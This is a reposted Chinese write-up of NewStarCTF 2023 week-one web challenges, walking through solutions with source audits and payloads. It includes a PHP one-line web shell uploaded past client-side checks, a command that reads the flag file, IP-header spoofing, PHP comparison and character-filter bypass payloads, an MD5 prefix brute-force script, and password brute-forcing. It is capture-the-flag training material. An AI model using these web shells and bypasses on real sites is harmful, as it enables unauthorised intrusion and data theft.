0


[wp]NewStarCTF 2023 WEEK1|WEB

泄漏的秘密

考的就是敏感信息的泄露 题目提示两个

无非就最简单的三种

1.robots.txt

2.www.zip

3.index.php.swp

当然我的做法就是直接用dirsearch扫描了 得到了robots.txt和www.zip文件,访问拼接就得到了flag了

Begin of Upload

考的就是绕过客户端 JavaScript检验 上传一句话木马修改文件名后缀就行了

一句话木马内容;

<?php eval($_POST[1]);?>

得到文件路径 我们可以直接利用蚁剑一把梭 也可也RCE

节省时间 我们直接使用rce 访问路径 然后利用POST传参 1=system('cat /f*');

用1 是因为上边的一句话木马密钥为1 自己也可改其他的 后边就是一个命令执行

Begin of HTTP

考的就是http协议的一些用法知识 还是不错的

闯关 GET传参

payload:?ctf=1

POST传参 在源码得到得到传入的参数

Secret: base64_decode(bjN3c3Q0ckNURjIwMjNnMDAwMDBk)

解码得到n3wst4rCTF2023g00000d

payload:secret=n3wst4rCTF2023g00000d

抓包修改power 为ctfer

改User-Agent 为NewStarCTF2023

改Referer为newstarctf.com

发现只能本地用户访问

这里测试三个就行 XFF client-ip X-Real-IP

发现X-Real-IP可行

我们添加 X-Real-IP:127.0.0.1就饿可以了

然后就获得flag

ErrorFlask

这道题也不知道考的什么 又不是SSTI注入 直接传参 抓包就得到flag了 搞不懂意义在哪 难度是非预期?

Begin of PHP

这道题考的可以说就是PHP的特性 弱比较 强比较 变量覆盖 无字符数字的shell

<?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}//典型的弱比较 直接数组绕过 ?key1[]=1&key2[]=2

if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
} //对于php强比较和弱比较:md5(),sha1()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。所以直接 key3[]=1

if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}//这里strcmp有一个bug就是如果比较的是数组的话,直接返回一个0。key4[]=1

if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
} //绕过is_numeric()函数 因为不能为数字 但我们可以变成判断条件绕过 即 key5=2024|2024

if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);  // 变量覆盖漏洞
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        } //过滤a-z A-Z 0-9 那这里就要使用无字符字母
    }
    if($flag5){
        echo file_get_contents("/flag"); //那很简单 直接让flag5变成ture 就可以获得flag 那我们 对flag5进行传参 只要不包含数字字母的shell就可以获得flag flag5=(~%8F%97%8F%96%91%99%90)();
//里面那个是phpinfo();

    }else{
        die("nope,this is level 5");
    }
}

源码和代码审计都在上边 所以最终payload:

GET:?key1[]=1&key2[]=2&key4[]=1&key5=2024|2024

POST: key3[]=1&flag5=(~%8F%97%8F%96%91%99%90)();

R!C!E!

这道题的考点就是一个md5的截断 一个是如何绕过黑名单

审计代码:

1.传入的password的md5加密的前6 位为c4d038

2.传入 的e_v.a.l 不能包含flag等字符

那么我们先写给个脚本去碰撞c4d038

import requests
import base64
import sys
import hashlib

def getMd5(index):
    for i in range(100000,100000000):
        x = i
        md5 = hashlib.md5(str(x).encode("utf8")).hexdigest()
        if md5[0:6] == index:
            return x;
print(getMd5("c4d038"))

得到为114514 然后下边那个绕过就直接使用内敛绕过 那么最终的payload:

password=114514&e_v.a.l=echo tac /f*;

发现无回显,那应该是 e_v.a.l里面的_号是非法字符,会被php过滤 那我们换成[就好了

所以payload

password=114514&e[v.a.l=echo tac /f*;

EasyLogin

这道题还是比较简单的 可以说就考察了一个弱口令登入 然后利用bp抓包得到flag 误导区应该就是让你登入进去后让你以为在终端里面有flag

这道理我们利用bp爆破得到admin的密码为000000(注意md5编码)

因为节约时间 我上边自己添加了 就不跑字典

然后进行爆破

字节长度不一样 然后密码就是他了 我们登入进去 抓包 然后就得到flag


本文转载自: https://blog.csdn.net/m0_63138919/article/details/133433359
版权归原作者 文大。 所有, 如有侵权,请联系我们删除。

“[wp]NewStarCTF 2023 WEEK1|WEB”的评论:

还没有评论